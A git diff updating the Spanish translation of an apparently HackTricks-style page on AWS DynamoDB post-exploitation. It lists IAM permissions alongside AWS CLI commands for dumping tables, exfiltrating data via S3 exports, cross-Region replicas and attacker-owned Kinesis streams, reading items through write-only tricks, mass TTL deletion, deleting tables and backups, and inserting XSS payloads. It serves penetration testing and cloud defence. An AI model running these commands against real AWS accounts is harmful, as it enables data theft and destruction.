Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-23 14:54:42 +00:00
parent d23bf52e07
commit 380ea9f670
12 changed files with 802 additions and 298 deletions

View File

@@ -1,10 +1,10 @@
# AWS - DynamoDB Post-explotación
# AWS - DynamoDB Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## DynamoDB
Para más información, consulta:
Para más información consulta:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@ Para más información, consulta:
### `dynamodb:BatchGetItem`
Un atacante con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`)).
Un attacker con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
**Potential Impact:** Indirect privesc al localizar información sensible en la tabla
### `dynamodb:GetItem`
**Al igual que los permisos anteriores** este permite a un posible atacante leer valores de una sola tabla dado la clave primaria de la entrada a recuperar:
**Similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:Query`
**Al igual que los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una sola solicitud.
**Similar a los permisos anteriores** esta permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una petición.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,7 +107,7 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:Scan`
@@ -124,18 +124,18 @@ Puedes usar este permiso para **dump la tabla completa fácilmente**.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
```
Este permiso también permite realizar `batch-execute-statement` como:
Este permiso también permite ejecutar `batch-execute-statement` como:
```bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
pero necesitas especificar la clave primaria con un valor, por lo que no es tan útil.
**Impacto potencial:** Escalada de privilegios indirecta al localizar información sensible en la tabla
**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
Este permiso permitirá a un atacante **exportar toda la tabla a un bucket S3** de su elección:
Este permiso permitirá a un atacante **exportar toda la tabla a un S3 bucket** de su elección:
```bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
--export-time <point_in_time> \
--region <region>
```
Tenga en cuenta que para que esto funcione la tabla debe tener habilitado point-in-time-recovery; puede comprobar si la tabla lo tiene con:
Ten en cuenta que para que esto funcione la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con:
```bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>
```
Si no está habilitado, deberás **habilitarlo** y para ello necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
```bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla diferente). Entonces, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no podrían estar en la tabla de producción**.
Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla distinta). Luego, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no estarían** en la tabla de producción.
```bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
```
**Impacto potencial:** Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
**Impacto potencial:** Indirect privesc al localizar información sensible en la copia de seguridad de la tabla
### `dynamodb:PutItem`
Este permiso permite a los usuarios agregar un **nuevo ítem a la tabla o reemplazar un ítem existente** con un nuevo ítem. Si un ítem con la misma clave primaria ya existe, el **ítem completo será reemplazado** por el nuevo ítem. Si la clave primaria no existe, se **creará** un nuevo ítem con la clave primaria especificada.
Este permiso permite a los usuarios agregar un **nuevo item a la tabla o reemplazar un item existente** con un nuevo item. Si ya existe un item con la misma clave primaria, el **item completo será reemplazado** por el nuevo item. Si la clave primaria no existe, se **creará** un nuevo item con la clave primaria especificada.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
{{#endtab }}
{{#endtabs }}
**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB
**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder añadir/modificar datos en una tabla de DynamoDB
### `dynamodb:UpdateItem`
Este permiso permite a los usuarios **modificar los atributos existentes de un elemento o agregar nuevos atributos a un elemento**. No **reemplaza** el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo elemento** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización.
Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o añadir nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización.
{{#tabs }}
{{#tab name="XSS Example" }}
@@ -242,34 +242,34 @@ aws dynamodb update-item \
{{#endtab }}
{{#endtabs }}
**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla DynamoDB
**Impacto potencial:** Explotación de más vulnerabilidades/bypasses al poder agregar/modificar datos en una tabla de DynamoDB
### `dynamodb:DeleteTable`
Un atacante con este permiso puede **eliminar una tabla DynamoDB, causando pérdida de datos**.
Un atacante con este permiso puede **eliminar una tabla de DynamoDB, causando pérdida de datos**.
```bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
```
**Impacto potencial**: Pérdida de datos y interrupción de los servicios que dependen de la tabla eliminada.
**Impacto potencial**: Pérdida de datos y la interrupción de servicios que dependen de la tabla eliminada.
### `dynamodb:DeleteBackup`
Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría causar pérdida de datos en caso de un escenario de recuperación ante desastres**.
Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que potencialmente causa pérdida de datos en caso de un escenario de recuperación ante desastres**.
```bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
```
**Impacto potencial**: Pérdida de datos e incapacidad para recuperar desde una backup durante un escenario de recuperación ante desastres.
**Impacto potencial**: Pérdida de datos e incapacidad para recuperarlos desde una copia de seguridad durante un escenario de recuperación ante desastres.
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
> TODO: Probar si esto realmente funciona
Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear los cambios en la tabla en tiempo real**. Esto permite al atacante monitorizar y exfiltrate los cambios de datos, potencialmente conduciendo a data leakage.
Un atacante con estos permisos puede **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Esto permite al atacante monitorizar y exfiltrate cambios de datos, potencialmente conduciendo a data leakage.
1. Habilitar un stream en una tabla de DynamoDB:
```bash
@@ -278,13 +278,13 @@ aws dynamodb update-table \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
```
2. Describe el stream para obtener el ARN y otros detalles:
2. Describe el flujo para obtener el ARN y otros detalles:
```bash
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
```
3. Obtén el iterador de shard usando el ARN del stream:
3. Obtener el shard iterator usando el stream ARN:
```bash
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
--shard-iterator-type LATEST \
--region <region>
```
4. Usa el shard iterator para acceder y exfiltrar datos del stream:
4. Utiliza el shard iterator para acceder y exfiltrate datos del stream:
```bash
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
```
**Impacto potencial**: Monitoreo en tiempo real y data leakage de los cambios de la tabla DynamoDB.
**Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios de la tabla DynamoDB.
### Leer items mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD`
### Leer items vía `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
Un atacante con únicamente `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa del item antes de la actualización en el campo `Attributes` de la respuesta (esto no consume RCUs).
Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa anterior a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs).
- Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo.
- Prerrequisitos: Debes conocer la clave primaria del item.
- Requisitos previos: Debes conocer la clave primaria del item.
Ejemplo (agrega un atributo inofensivo y exfiltra el item previo en la respuesta):
Example (adds a harmless attribute and exfiltrates the previous item in the response):
```bash
aws dynamodb update-item \
--table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
--return-values ALL_OLD \
--region <region>
```
La respuesta del CLI incluirá un bloque `Attributes` que contiene el elemento previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo-escritura.
La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo de escritura.
**Impacto potencial:** Leer ítems arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias.
**Impacto potencial:** Leer elementos arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias.
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
Exfiltración sigilosa añadiendo una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una replica regional, toda la tabla se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los ítems.
Exfiltración sigilosa añadiendo una nueva Regional Replica a un DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, toda la tabla se replica en la Region elegida por el atacante, desde la cual el atacante puede leer todos los elementos.
{{#tabs }}
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
{{#endtab }}
{{#endtabs }}
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa un CMK en la réplica, pueden ser necesarios permisos de KMS para esa clave.
Potential Impact: Replicación de la tabla completa a una Region controlada por el atacante, lo que puede derivar en una exfiltración sigilosa de datos.
Impacto potencial: Replicación de toda la tabla a una región controlada por el atacante, lo que permite una exfiltración sigilosa de datos.
### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
Un atacante con privilegios de escritura transaccional puede exfiltrar todos los atributos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionadamente una `ConditionExpression` mientras establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Al producirse el fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-lectura en acceso de lectura sobre las claves objetivo.
Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionalmente una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En caso de fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-escritura en acceso de lectura a las claves objetivo.
{{#tabs }}
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
{{#endtab }}
{{#endtabs }}
Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura.
Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el ítem subyacente). No se requieren permisos de lectura.
Impacto potencial: Leer elementos arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas.
Impacto potencial: Leer ítems arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional mediante las razones de cancelación devueltas.
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` en GSI
Elude las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, asignando ese atributo a un valor constante en los elementos, y luego ejecutar `Query` sobre el índice para recuperar los elementos completos. Esto funciona incluso si `Query`/`Scan` en la tabla base están denegados, siempre que puedas consultar el ARN del índice.
Evita las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` sobre un atributo de baja entropía, establece ese atributo a un valor constante en todos los ítems y luego `Query` el índice para recuperar los ítems completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice.
- Permisos mínimos:
- `dynamodb:UpdateTable` en la tabla objetivo (para crear el GSI con `ProjectionType=ALL`).
- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada elemento).
- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada ítem).
- `dynamodb:Query` en el ARN del recurso del índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
Pasos (PoC in us-east-1):
Pasos (PoC en us-east-1):
```bash
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
@@ -461,16 +461,16 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
```
**Impacto potencial:** Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
**Impacto potencial:** Full table exfiltration al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltración continua vía Kinesis Data Streams)
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration a través de Kinesis Data Streams)
Abusar de los destinos de streaming Kinesis de DynamoDB para exfiltrar continuamente los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura en la tabla.
Abusar de DynamoDB Kinesis streaming destinations para exfiltrate continuamente los cambios desde una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura sobre la tabla.
Permisos mínimos (atacante):
- `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorizar el estado
- Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
<details>
@@ -528,8 +528,47 @@ aws dynamodb disable-kinesis-streaming-destination \
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
```
### `dynamodb:UpdateTimeToLive`
Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando el TTL. Cuando el TTL está habilitado, los ítems individuales que contienen el atributo TTL configurado serán eliminados automáticamente una vez que se alcance su tiempo de expiración. El valor de TTL es simplemente otro atributo en cada ítem; los ítems sin ese atributo no se ven afectados por la eliminación basada en TTL.
Si los ítems no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar ítems (por ejemplo dynamodb:UpdateItem) para agregar el atributo TTL y provocar eliminaciones masivas.
Primero habilite el TTL en la tabla, especificando el nombre del atributo que se usará para la expiración:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
```
Entonces actualiza los items para añadir el atributo TTL (epoch seconds) para que expiren y sean eliminados:
```bash
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
```
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
Un atacante con permisos `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos.
Restaurar una tabla de DynamoDB desde una copia de seguridad bajo demanda:
```bash
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
```
Restaurar una tabla de DynamoDB a un punto en el tiempo (crear una nueva tabla con el estado restaurado):
```bash
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
````
</details>
**Impacto potencial:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un Kinesis stream controlado por un atacante sin operaciones de lectura directas sobre la tabla.
**Impacto potencial:** Exfiltración continua y casi en tiempo real de los cambios en la tabla hacia un Kinesis stream controlado por el atacante sin realizar operaciones directas de lectura sobre la tabla.
{{#include ../../../../banners/hacktricks-training.md}}